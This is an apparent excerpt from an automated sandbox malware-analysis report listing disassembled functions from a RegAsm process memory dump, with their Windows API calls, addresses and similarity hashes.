                      Function 0040B0D1 Relevance: 6.1, APIs: 4, Instructions: 55stringCOMMON
                      Download Yara Rule
                      APIs
                      • strlen.MSVCRT ref: 0040B0D8
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B0FB
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B12C
                      • memcpy.MSVCRT ref: 0040B159
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocstrlen
                      • String ID:
                      • API String ID: 1171893557-0
                      • Opcode ID: 1032aca3c4d565b21c9c93c1da03fa01242ca6c05261a3900927d5bb2d17b358
                      • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                      • Opcode Fuzzy Hash: 1032aca3c4d565b21c9c93c1da03fa01242ca6c05261a3900927d5bb2d17b358
                      • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                      Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004144E7
                        • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                        • Part of subcall function 0040A353: memcpy.MSVCRT ref: 0040A3A8
                      • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                      • memset.MSVCRT ref: 0041451A
                      • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                      • String ID:
                      • API String ID: 1127616056-0
                      • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                      • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                      • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                      • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                      Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                      • malloc.MSVCRT ref: 00417459
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,756F18FE,?,0041755F,?), ref: 00417478
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041747F
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@malloc
                      • String ID:
                      • API String ID: 4284152360-0
                      • Opcode ID: 04ed014176e6e25a75c769d411d0e5b4418e4c479d680d12870536ad94e91e4d
                      • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                      • Opcode Fuzzy Hash: 04ed014176e6e25a75c769d411d0e5b4418e4c479d680d12870536ad94e91e4d
                      • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                      Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
                      • RegisterClassW.USER32(?), ref: 00412428
                      • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                      • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule$ClassCreateRegisterWindow
                      • String ID:
                      • API String ID: 2678498856-0
                      • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                      • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                      • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                      • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                      Function 004173E4 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                      • malloc.MSVCRT ref: 00417407
                      • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417425
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@malloc
                      • String ID:
                      • API String ID: 4284152360-0
                      • Opcode ID: 3df1ff1ad5f7619570b5295ff2d6745c95529d6511ab958c6202ec18d606cc9c
                      • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                      • Opcode Fuzzy Hash: 3df1ff1ad5f7619570b5295ff2d6745c95529d6511ab958c6202ec18d606cc9c
                      • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5
                      Function 0040F64E Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040F673
                      • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00007FFF,00000000,00000000,?,<item>), ref: 0040F690
                      • strlen.MSVCRT ref: 0040F6A2
                      • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F6B3
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharFileMultiWideWritememsetstrlen
                      • String ID:
                      • API String ID: 2754987064-0
                      • Opcode ID: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                      • Instruction ID: e5447571fde1e0de43d26e7f5909b1ba013d3ab3fbf9ce0dfcc5e01eb4e41d37
                      • Opcode Fuzzy Hash: 3f0454cb73c2afb10a3316e2dc28fa1dd1c693e32e23138b57773469a51e87f3
                      • Instruction Fuzzy Hash: 03F062B680102C7FEB81A794DC81DEB77ACEB05258F0080B2B715D2140E9749F484F7D
                      Function 0040F6BD Relevance: 6.0, APIs: 4, Instructions: 41filestringCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040F6E2
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF,00000000,00000000,?,<item>), ref: 0040F6FB
                      • strlen.MSVCRT ref: 0040F70D
                      • WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040F71E
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharFileMultiWideWritememsetstrlen
                      • String ID:
                      • API String ID: 2754987064-0
                      • Opcode ID: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                      • Instruction ID: 4069f22fd96ae38f7b0fbed24adb75974e75abfa9f51d26af0f678a77882025e
                      • Opcode Fuzzy Hash: 7e04724105a3fa4aadef5922e8bb643722353f9661974f919d975e4a71db6ff5
                      • Instruction Fuzzy Hash: C8F06DB780022CBFFB059B94DCC8DEB77ACEB05254F0000A2B715D2042E6749F448BB8
                      Function 00414770 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscpy$CloseHandle
                      • String ID: General
                      • API String ID: 3722638380-26480598
                      • Opcode ID: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                      • Instruction ID: 029e45c8424a23c50dbc4d8c1dfe1f9d14d00e2cf8bd1bf10ef2c4f99c7741b7
                      • Opcode Fuzzy Hash: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                      • Instruction Fuzzy Hash: 52F024B30083146FF7205B509C85EAF769CEB86369F25482FF05592092C7398C448669
                      Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                        • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                        • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                      • SetBkMode.GDI32(?,00000001), ref: 004143A2
                      • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                      • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                      • GetStockObject.GDI32(00000000), ref: 004143C6
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                      • String ID:
                      • API String ID: 764393265-0
                      • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                      • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                      • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                      • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                      Function 0040A751 Relevance: 6.0, APIs: 4, Instructions: 34timeCOMMON
                      Download Yara Rule
                      APIs
                      • FileTimeToSystemTime.KERNEL32(?,?), ref: 0040A76D
                      • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?), ref: 0040A77D
                      • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 0040A78C
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Time$System$File$LocalSpecific
                      • String ID:
                      • API String ID: 979780441-0
                      • Opcode ID: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                      • Instruction ID: f583aad53f3de4022dcae7e9f33737e8013f67213d7447df07319dea818b2b95
                      • Opcode Fuzzy Hash: e6f681992166f7eacb6a90eac37249c69a118d36aeffaac3dc06015c0a75a69a
                      • Instruction Fuzzy Hash: 48F08272900219AFEB019BB1DC49FBBB3FCBB0570AF04443AE112E1090D774D0058B65
                      Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                      Download Yara Rule
                      APIs
                      • memcpy.MSVCRT ref: 004134E0
                      • memcpy.MSVCRT ref: 004134F2
                      • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                      • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$DialogHandleModuleParam
                      • String ID:
                      • API String ID: 1386444988-0
                      • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                      • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                      • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                      • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                      Function 0040F75C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 0040F79E
                      • wcschr.MSVCRT ref: 0040F7AC
                        • Part of subcall function 0040AA8C: wcslen.MSVCRT ref: 0040AAA8
                        • Part of subcall function 0040AA8C: memcpy.MSVCRT ref: 0040AACB
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcschr$memcpywcslen
                      • String ID: "
                      • API String ID: 1983396471-123907689
                      • Opcode ID: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                      • Instruction ID: b5ec2b97dc3a1d34b4ae52474db4a85f3d32b900c8044ec90cdce640e07fed14
                      • Opcode Fuzzy Hash: a49a7bca3fdcf7d664bb1a19bbfdf9ac20233bdad490a911e177b035a317b33a
                      • Instruction Fuzzy Hash: 7C315532904204ABDF24EFA6C8419EEB7B4EF44324F20457BEC10B75D1DB789A46CE99
                      Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintfmemcpy
                      • String ID: %2.2X
                      • API String ID: 2789212964-323797159
                      • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                      • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                      • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                      • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                      Function 0040F9B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _snwprintf
                      • String ID: %%-%d.%ds
                      • API String ID: 3988819677-2008345750
                      • Opcode ID: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                      • Instruction ID: 7541af853baca77dfc804340e5f0ab0fe899c5989b891af63cf45e557cb41de3
                      • Opcode Fuzzy Hash: ff7c17540168d96ed4966b56b0a467b3337874ab214ea8a90bdbbe2252cfc3dc
                      • Instruction Fuzzy Hash: B801DE71200204BFD720EE59CC82D5AB7E8FB48308B00443AF846A7692D636E854CB65
                      Function 0040E758 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040E770
                      • SendMessageW.USER32(F^@,0000105F,00000000,?), ref: 0040E79F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: MessageSendmemset
                      • String ID: F^@
                      • API String ID: 568519121-3652327722
                      • Opcode ID: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                      • Instruction ID: 5049a961280a3e8282645b70ff0f7bf8ff78c54eb6baa8beabb6daf17925e322
                      • Opcode Fuzzy Hash: f8314852293f46423bc2a010faad31e0b7cb282108ef47112cad279f3d3f551f
                      • Instruction Fuzzy Hash: A701A239900204ABEB209F5ACC81EABB7F8FF44B45F008429E854A7291D3349855CF79
                      Function 004018DB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PlacementWindowmemset
                      • String ID: WinPos
                      • API String ID: 4036792311-2823255486
                      • Opcode ID: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                      • Instruction ID: 942d740d8c3c01bede0812328a3a4706cce13fdf2e849e9dfea5930b7654417c
                      • Opcode Fuzzy Hash: 43a26fe09d4836415a0f9153b5f51c370111d8f5fda2234af2192006d5bb601b
                      • Instruction Fuzzy Hash: D4F096B0600204EFEB04DF55D899F6A33E8EF04701F1440B9F909DB1D1E7B89A04C729
                      Function 004125B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@DeleteObject
                      • String ID: r!A
                      • API String ID: 1103273653-628097481
                      • Opcode ID: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                      • Instruction ID: d381ae2e1f6c469d4091c7bd434485f036f098756071eb86a226830a39d2e28c
                      • Opcode Fuzzy Hash: 50c536e2c83fb8bec4500b48a67d64bb266b61e0188dcb515110e4721c15bf1b
                      • Instruction Fuzzy Hash: 72E04F75000302DFD7115F26E400782B7F5FF85315F11455EE89497151EBB96164CE19
                      Function 0042B9BD Relevance: 5.2, APIs: 4, Instructions: 181COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memset
                      • String ID:
                      • API String ID: 438689982-0
                      • Opcode ID: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                      • Instruction ID: 797e1fd24865db6de4a95defd5ca955254a0dec7c2ff798398e4890fb9874305
                      • Opcode Fuzzy Hash: ef116662622e1dd2984e515fcaedae38b96dc359db8ee055bda91140f73fb117
                      • Instruction Fuzzy Hash: 1B51A2B5A00219EBDF14DF55D882BAEBBB5FF04340F54806AE904AA245E7389E50DBD8
                      Function 0040E820 Relevance: 5.1, APIs: 4, Instructions: 70COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$memset
                      • String ID:
                      • API String ID: 1860491036-0
                      • Opcode ID: 132c9519558d853c1af1b7fa7761ae76911dbcbc7ff65e94ed4645376a2186b4
                      • Instruction ID: 7dda0de82ffecb18951b1be6aadeef514c87807746e1e94fbb8d74dd8fa57bec
                      • Opcode Fuzzy Hash: 132c9519558d853c1af1b7fa7761ae76911dbcbc7ff65e94ed4645376a2186b4
                      • Instruction Fuzzy Hash: 4F21F3B1A003008FDB219F2B9445912FBE8FF90310B2AC8AF9158CB2B2D7B8C454CF15
                      Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@
                      • String ID:
                      • API String ID: 1033339047-0
                      • Opcode ID: 6589a97820dd4164dbe9b7b561e5d9da651562f836a554c3bd3b183484c6dcee
                      • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                      • Opcode Fuzzy Hash: 6589a97820dd4164dbe9b7b561e5d9da651562f836a554c3bd3b183484c6dcee
                      • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49